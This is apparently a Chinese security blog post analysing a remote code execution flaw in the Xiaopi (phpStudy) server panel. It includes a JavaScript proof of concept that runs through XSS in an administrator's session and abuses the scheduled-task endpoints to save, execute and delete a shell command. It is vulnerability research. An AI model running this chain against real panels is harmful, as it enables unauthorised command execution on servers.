点击关注公众号,知识干货及时送达👇
Part.1 前言
最近看到有人发小皮面板的RCE,所以对以下代码做了简单的代码分析。
Part.2 代码分析
登录点抓包定位后台源码文件
在account.phg中获取登录状态,接收传参调用login方法
post函数由htmlspecialchars处理
login方法中通过Socket::request处理了参数,这里的Socket::request调用了8090端口的服务
跟踪到Socket函数可以看到socket_write处理的方法,然后再通过socket_read读取结果
启动小皮面板之后看到8090端口开启
后台计划任务
后台计划任务有三个步骤:
1.查看task_list列表
2.保存save_shell
3.执行exec_task
写wenshell的时候需要带上X-Requested-With: XMLHttpRequest
POC如下:
function task() {
$.get('/service/app/tasks.php?type=task_list',{},function(data) {
var id = data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){
$.post('/service/app/tasks.php?type=del_task',{tid:id},function(res){
"json"
})
},"json")
},"json")
}
function save_shell() {
var data = new Object
data.title = "2023-2";
data.exec_cycle = "5";
data.week = "1";
data.day = "3";
data.hour = "1";
data.minute = "30";
data.shell = "echo 'success' > c:/success.txt";
$.post('/service/app/tasks.php?type=save_shell',data,function(res) {
task();
},'json');
}
save_shell();
Part.3 漏洞验证
搭建服务器然后插入xss代码
当管理员登录了后台之后就会触发xss然后删除当前执行的任务
在c盘创建文件
Part.4 总结
在应用程序升级遍历我们的同时也会带来很多危险,关注程序更新的同时也要注意漏洞的迭代带来的危害。
- End -
原文始发于微信公众号(希石安全团队):【漏洞浅谈】小皮面板RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论